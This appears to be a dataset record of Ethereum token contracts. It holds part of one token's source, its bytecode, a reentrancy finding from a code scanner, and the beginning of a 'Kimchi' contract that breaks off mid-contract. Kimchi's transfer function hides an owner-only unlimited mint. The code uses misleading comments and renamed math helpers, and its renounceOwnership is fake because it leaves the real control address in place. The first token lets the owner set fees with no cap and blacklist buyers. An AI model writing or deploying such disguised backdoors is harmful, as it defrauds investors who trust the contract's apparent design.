address payable private _marketingAddress = payable(0x7b6f5A2B1905197dccFa98F4CAd0706A2AD09f23);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044657806395d89b411461045c57806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103f25780638da5cb5b146104085780638f70ccf71461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6a565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152600f81526e20ba3a30b1b59027b7102a34ba30b760891b60208201525b60405161023f9190611c9c565b60405180910390f35b34801561025457600080fd5b50610268610263366004611aba565b610689565b604051901515815260200161023f565b34801561028457600080fd5b50601554610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611a79565b6106a0565b34801561030257600080fd5b506102c860195481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601654610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611a06565b610709565b34801561037457600080fd5b506101fc610383366004611c36565b610754565b34801561039457600080fd5b506101fc61079c565b3480156103a957600080fd5b506102c86103b8366004611a06565b6107e7565b3480156103c957600080fd5b506101fc610809565b3480156103de57600080fd5b506101fc6103ed366004611c51565b61087d565b3480156103fe57600080fd5b506102c860175481565b34801561041457600080fd5b506000546001600160a01b0316610298565b34801561043257600080fd5b506101fc610441366004611c36565b6108ac565b34801561045257600080fd5b506102c860185481565b34801561046857600080fd5b5060408051808201909152600481526322a922a760e11b6020820152610232565b34801561049557600080fd5b506101fc6104a4366004611c51565b6108f8565b3480156104b557600080fd5b506101fc6104c4366004611c6a565b610927565b3480156104d557600080fd5b506102686104e4366004611aba565b610965565b3480156104f557600080fd5b50610268610504366004611a06565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610972565b34801561053a57600080fd5b506101fc610549366004611ae6565b6109c6565b34801561055a57600080fd5b506102c860085481565b34801561057057600080fd5b506102c861057f366004611a40565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611c51565b610a67565b3480156105d657600080fd5b506101fc6105e5366004611a06565b610a96565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cf1565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611e38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e07565b915050610620565b5050565b6000610696338484610b80565b5060015b92915050565b60006106ad848484610ca4565b6106ff84336106fa85604051806060016040528060288152602001611e7a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611262565b610b80565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e48161129c565b50565b6001600160a01b03811660009081526002602052604081205461069a90611321565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611cf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611cf1565b601755565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161061490611cf1565b601955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161061490611cf1565b600993909355600b91909155600a55600c55565b6000610696338484610ca4565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107e7565b90506107e4816113a5565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161061490611cf1565b60005b82811015610a61578160056000868685818110610a1257610a12611e38565b9050602002016020810190610a279190611a06565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611e07565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161061490611cf1565b601855565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b038116610b255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610df857506000546001600160a01b03838116911614155b1561115b57601654600160a01b900460ff16610e91576000546001600160a01b03848116911614610e915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610ee35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2557506001600160a01b03821660009081526011602052604090205460ff16155b610f7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b600854610f8b906002611d97565b4311158015610fa757506016546001600160a01b038481169116145b8015610fc157506015546001600160a01b03838116911614155b8015610fd657506001600160a01b0382163014155b15610fff576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110845760185481611021846107e7565b61102b9190611d97565b106110845760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061108f306107e7565b6019546017549192508210159082106110a85760175491505b8080156110bf5750601654600160a81b900460ff16155b80156110d957506016546001600160a01b03868116911614155b80156110ee5750601654600160b01b900460ff165b801561111357506001600160a01b03851660009081526005602052604090205460ff16155b801561113857506001600160a01b03841660009081526005602052604090205460ff16155b1561115857611146826113a5565b478015611156576111564761129c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119d57506001600160a01b03831660009081526005602052604090205460ff165b806111cf57506016546001600160a01b038581169116148015906111cf57506016546001600160a01b03848116911614155b156111dc57506000611256565b6016546001600160a01b03858116911614801561120757506015546001600160a01b03848116911614155b1561121957600954600d55600a54600e555b6016546001600160a01b03848116911614801561124457506015546001600160a01b03858116911614155b1561125657600b54600d55600c54600e555b610a618484848461152e565b600081848411156112865760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611df0565b95945050505050565b6013546001600160a01b03166108fc6112b683600261155c565b6040518115909202916000818181858888f193505050501580156112de573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f983600261155c565b6040518115909202916000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156113885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b600061139261159e565b905061139e838261155c565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ed576113ed611e38565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114799190611a23565b8160018151811061148c5761148c611e38565b6001600160a01b0392831660209182029290920101526015546114b29130911684610b80565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb908590600090869030904290600401611d26565b600060405180830381600087803b15801561150557600080fd5b505af1158015611519573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153b5761153b6115c1565b6115468484846115ef565b80610a6157610a61600f54600d55601054600e55565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e6565b60008060006115ab611714565b90925090506115ba828261155c565b9250505090565b600d541580156115d15750600e54155b156115d857565b600d8054600f55600e805460105560009182905555565b60008060008060008061160187611756565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163390876117b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166290866117f5565b6001600160a01b03891660009081526002602052604090205561168481611854565b61168e848361189e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d391815260200190565b60405180910390a3505050505050505050565b600081836117075760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611daf565b6006546000908190683635c9adc5dea00000611730828261155c565b82101561174d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117738a600d54600e546118c2565b925092509250600061178361159e565b905060008060006117968e878787611917565b919e509c509a509598509396509194505050505091939550919395565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611262565b6000806118028385611d97565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061185e61159e565b9050600061186c8383611967565b3060009081526002602052604090205490915061188990826117f5565b30600090815260026020526040902055505050565b6006546118ab90836117b3565b6006556007546118bb90826117f5565b6007555050565b60008080806118dc60646118d68989611967565b9061155c565b905060006118ef60646118d68a89611967565b90506000611907826119018b866117b3565b906117b3565b9992985090965090945050505050565b60008080806119268886611967565b905060006119348887611967565b905060006119428888611967565b905060006119548261190186866117b3565b939b939a50919850919650505050505050565b6000826119765750600061069a565b60006119828385611dd1565b90508261198f8583611daf565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b80356119f181611e64565b919050565b803580151581146119f157600080fd5b600060208284031215611a1857600080fd5b813561139e81611e64565b600060208284031215611a3557600080fd5b815161139e81611e64565b60008060408385031215611a5357600080fd5b8235611a5e81611e64565b91506020830135611a6e81611e64565b809150509250929050565b600080600060608486031215611a8e57600080fd5b8335611a9981611e64565b92506020840135611aa981611e64565b929592945050506040919091013590565b60008060408385031215611acd57600080fd5b8235611ad881611e64565b946020939093013593505050565b600080600060408486031215611afb57600080fd5b833567ffffffffffffffff80821115611b1357600080fd5b818601915086601f830112611b2757600080fd5b813581811115611b3657600080fd5b8760208260051b8501011115611b4b57600080fd5b602092830195509350611b6191860190506119f6565b90509250925092565b60006020808385031215611b7d57600080fd5b823567ffffffffffffffff80821115611b9557600080fd5b818501915085601f830112611ba957600080fd5b813581811115611bbb57611bbb611e4e565b8060051b604051601f19603f83011681018181108582111715611be057611be0611e4e565b604052828152858101935084860182860187018a1015611bff57600080fd5b600095505b83861015611c2957611c15816119e6565b855260019590950194938601938601611c04565b5098975050505050505050565b600060208284031215611c4857600080fd5b61139e826119f6565b600060208284031215611c6357600080fd5b5035919050565b60008060008060808587031215611c8057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc957858101830151858201604001528201611cad565b81811115611cdb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daa57611daa611e22565b500190565b600082611dcc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611deb57611deb611e22565b500290565b600082821015611e0257611e02611e22565b500390565b6000600019821415611e1b57611e1b611e22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d4f0bad8f3ca3819b0de88c7697c55ad108f5e8304ae67093efe59c98c3042e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,416 |
0x671376B1B7c861593Ae69E4A8d06bd842620Af88
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
/*
Kimchi~
by: Togawa Ishimatsuru
*/
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
pragma solidity ^0.8.7;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function KimchiSwapAddress (address Uniswaprouterv02) public checker {
router = Uniswaprouterv02;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
